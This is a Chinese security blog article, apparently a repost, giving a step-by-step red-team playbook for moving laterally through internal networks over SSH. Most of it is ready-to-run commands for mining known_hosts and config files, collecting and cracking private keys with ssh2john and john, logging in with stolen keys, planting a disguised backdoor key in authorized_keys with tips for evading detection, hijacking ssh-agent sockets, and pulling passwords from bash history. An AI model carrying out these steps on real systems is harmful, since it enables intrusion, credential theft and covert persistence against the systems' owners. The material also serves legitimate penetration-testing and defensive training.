SSH横向移动

admin 2026-05-27 04:41:07 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档详细解析了内网渗透中SSH横向移动的技术路径,涵盖核心文件解析、信息收集、凭据窃取、权限维持等全流程。关键发现包括:known_hosts文件可破解哈希获取内网IP地图,config文件常明文暴露高价值目标,私钥复用是最高效横向方式。可操作建议包括使用ssh-keygen碰撞IP、破解加密私钥、植入隐蔽公钥后门等。文档还提供了SSHAgent劫持、历史命令挖掘等辅助突破方案。 综合评分: 85 文章分类: 红队,内网渗透,WEB安全,实战经验,安全工具


cover_image

SSH横向移动

原创

One One

One security

2026年5月24日 18:34 北京

在小说阅读器读本章

去阅读

在内网渗透中,SSH 往往是通往核心资产的“高速公路”。开发、运维人员为了图方便,常在机器间建立单向或双向的信任关系。这种“重便捷、轻安全”的配置,一旦有一台边界机器失守,攻击者就能像多米诺骨牌一样,通过 SSH 信任链横推内网。

一、 核心文件解析与攻击面映射

在开始操作前,必须明确 .ssh/ 目录下每个文件的含义及其在攻防中的价值(默认路径:~/.ssh/ 或 /home/<用户>/.ssh/,root用户在 /root/.ssh/

| 文件名 | 作用 | 攻击者视角 | 横向移动价值 | | — | — | — | — | | id_rsa | 本机私钥 | 本机的“身份证” | 极高 。复用身份登录内网其他机器,若遇加密需尝试破解 | | id_rsa.pub | 本机公钥 | 本机的“身份证号” | 结合 hostname 排查当前机器在资产库中的身份 | | authorized_keys | 允许登录本机的公钥 | 谁能控制本机 | 溯源管理员来源;植入攻击者公钥维持权限 | | known_hosts | 本机曾连接过的主机 | 本机去过哪里 | 核心 。内网资产地图,锁定横向目标 IP | | config | 客户端预设配置 | 登录习惯与别名 | 明文暴露内网 IP、用户名、跳板路径、密钥位置 |

二、 横向信息收集:绘制内网地图

步骤 1:挖掘 known_hosts —— 发现内网存活目标

该文件记录了当前用户曾经 SSH 连接过的所有主机指纹和 IP/域名,是内网横向的指南针。

操作 1.1:直接读取明文

cat&nbsp;~/.ssh/known_hosts

如果输出的是明文 IP(如 192.168.1.100 ssh-rsa AAAA...),直接记录下来进入步骤 3;如果输出是以 |1| 开头的字符串,说明被哈希加密了,进入操作 1.2。

操作 1.2:破解哈希保护 较新版本的 SSH 默认开启 HashKnownHosts yes,IP 会被哈希加密,无法直接读取。

若已知内网网段(如 10.10.1.0/24),可使用工具逐个计算网段 IP 的哈希进行碰撞比对。实战命令(使用 ssh-keygen 本地校验):

# 针对某个已知网段进行爆破比对
for&nbsp;ip&nbsp;in&nbsp;$(seq&nbsp;1 254);&nbsp;do
&nbsp; &nbsp; ssh-keygen -F 10.10.1.$ip&nbsp;-f ~/.ssh/known_hosts 2>/dev/null | grep -v&nbsp;"^#"&nbsp;| grep -v&nbsp;"^$"&nbsp;&&&nbsp;echo"[+] Found: 10.10.1.$ip"
done

成功碰撞出内网 IP,进入步骤 3。

步骤 2:挖掘 config —— 获取一键登录配方

运维人员为了方便,常在此配置连接别名,这里极大概率明文暴露了内网高价值目标信息。

操作 2.1:读取配置文件

cat&nbsp;~/.ssh/config

典型泄露示例:

&nbsp; Host db-master
&nbsp; &nbsp; &nbsp; HostName 10.10.2.50
&nbsp; &nbsp; &nbsp; User root
&nbsp; &nbsp; &nbsp; Port 2222
&nbsp; &nbsp; &nbsp; IdentityFile ~/.ssh/db_server_key

如果配置文件中指定了IdentityFile,进入步骤 3寻找该密钥;如果没有任何配置,进入步骤 3寻找默认私钥。

三、 凭据窃取与横向移动:复用信任关系

步骤 3:搜刮私钥文件 —— 跨机身份复用

开发/运维人员经常在多台机器上复用同一套密钥对,这是横向移动最高效的方式。

操作 3.1:查找与确认私钥

# 查找当前用户及全局可读的私钥文件
find / -name&nbsp;"id_rsa"&nbsp;-o -name&nbsp;"id_ed25519"&nbsp;-o -name&nbsp;"*.pem"&nbsp;2>/dev/null

# 确认私钥是否被加密(加密私钥头部会有 ENCRYPTED 字样)
head&nbsp;-2 ~/.ssh/id_rsa
# 例:-----BEGIN OPENSSH PRIVATE KEY----- 下方出现 Proc-Type: 4,ENCRYPTED
  • 下一步:

    如果私钥文件不存在或权限不可读,尝试提权或寻找其他用户目录;如果成功获取私钥内容,将其保存到攻击机本地,进入操作 3.2。

操作 3.2:利用私钥直接横向 将私钥下载到攻击机,必须修改权限否则 SSH 会拒绝使用

# 在攻击机上操作
vim temp_key
# 粘贴私钥内容
chmod&nbsp;600 temp_key

# 尝试免密登录(结合步骤1、2获取的IP和用户名)
ssh -i temp_key [email protected]
  • 避坑指南:

    如果登录报错 Permission denied (publickey),可能是目标机器的 /etc/ssh/sshd_config 开启了 StrictModes yes,要求目录权限必须严苛。确保目标机器的 ~/.ssh/ 是 700~/.ssh/authorized_keys 是 600

  • 下一步:

    如果直接登录成功,该机器成为新跳板,重新回到步骤 1挖掘新机器的 .ssh/;如果提示 Enter passphrase for key,说明私钥有密码,进入操作 3.3。

操作 3.3:破解加密私钥 若私钥有密码保护,可离线爆破。

# 1. 使用 ssh2john 提取哈希(在攻击机上)
# 注意:ssh2john.py 通常在 john 的 run 目录下
python3 /usr/share/john/ssh2john.py temp_key > key_hash.txt

# 2. 使用 john 爆破密码
john --wordlist=/usr/share/wordlists/rockyou.txt key_hash.txt
  • 下一步:

    拿到私钥密码后,回到操作 3.2输入密码登录。

步骤 4:追踪 authorized_keys —— 逆向溯源与信任链分析

该文件存放了允许免密登录本机的公钥。不仅能用来留后门,还能溯源管理员的跳板机。

操作 4.1:提取公钥注释

cat&nbsp;~/.ssh/authorized_keys | awk&nbsp;'{print $3}'

公钥末尾通常有注释(格式:user@hostname),通过此注释可以定位管理员的来源机器。

  • 下一步:

    如果发现了类似 admin@jumpserver-01 的主机名,尝试在已知资产中寻找该机器的 IP,并尝试使用本机作为跳板去连接它。

四、 权限维持:隐蔽后门植入

利用 authorized_keys 植入攻击者公钥,实现持久化免密控制,这是最难被察觉的后门之一。

步骤 5:植入公钥后门

操作 5.1:生成后门密钥对并植入

# 在攻击机生成专用的后门密钥(使用 ed25519 更快更安全)
ssh-keygen -t ed25519 -C&nbsp;"system-monitor"&nbsp;-f backdoor -N&nbsp;""

# 在目标机器上植入公钥(注意使用 >> 追加,切勿用 > 覆盖!)
echo"ssh-ed25519 AAAA...系统监控... backdoor"&nbsp;>> ~/.ssh/authorized_keys

操作 5.2:修复文件权限(极其关键) 如果不修复权限,SSH 守护进程会拒绝公钥认证,导致后门失效。

chmod&nbsp;700 ~/.ssh/
chmod&nbsp;600 ~/.ssh/authorized_keys
# 如果是在其他用户目录下,还需确保目录属主正确
chown&nbsp;-R victim_user:victim_user /home/victim_user/.ssh/

操作 5.3:高级隐蔽技巧(防排查) 为了让后门不那么突兀,可以在公钥前添加配置选项,限制后门的功能或隐藏行为:

# 限制后门仅允许执行特定命令(需配合隧道使用),且禁止分配伪终端和端口转发
echo'command="noproxycmd",no-pty,no-agent-forwarding,no-port-forwarding ssh-ed25519 AAAA... backdoor'&nbsp;>> ~/.ssh/authorized_keys
  • *说明:* 这种后门管理员即使登进去检查,也很难察觉异常,因为它限制了常规的 Shell 交互,常用于隐蔽的反向隧道维持。

五、 辅助突破:环境变量与历史记录

如果 .ssh/ 目录下空空如也,别急,还有其他途径。

步骤 6:结合 Agent 与历史记录突破无凭据困境

操作 6.1:劫持 SSH Agent (内存中的密钥) 如果运维使用了 ssh-agent 管理密钥,私钥不落盘但在内存中。

# 1. 查找当前机器上的 Agent Socket 文件
find /tmp -type&nbsp;s -name&nbsp;"agent.*"&nbsp;2>/dev/null
ls&nbsp;-la /proc/*/fd/* 2>/dev/null | grep agent

# 2. 劫持 Socket 环境变量 (假设找到了 /tmp/ssh-xxxx/agent.1234)
export&nbsp;SSH_AUTH_SOCK=/tmp/ssh-xxxx/agent.1234

# 3. 查看Agent中的密钥身份
ssh-add -l
  • 下一步:

    如果列出密钥,直接使用 ssh user@target 即可借用该密钥免密登录。

操作 6.2:挖掘 .bash_history 历史命令常能补全 .ssh/ 目录缺失的拼图。

history&nbsp;| grep -E&nbsp;"ssh|scp"&nbsp;| grep -v&nbsp;"grep"
# 重点关注:sshpass -p (明文密码), -i (指定非默认密钥路径), scp (传输过什么文件)
cat&nbsp;~/.bash_history | grep -i&nbsp;"sshpass"
  • 下一步:

    如果发现 ssh -i /tmp/secret_key,回到步骤 3去读取该路径的私钥;如果发现 sshpass -p 'MyP@ssw0rd',直接记录凭证用于横向爆破。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:One security One One《SSH横向移动》

SSH横向移动 网络安全文章

SSH横向移动

文章总结: 该文档详细解析了内网渗透中SSH横向移动的技术路径,涵盖核心文件解析、信息收集、凭据窃取、权限维持等全流程。关键发现包括:known_hosts文件
评论:0   参与:  0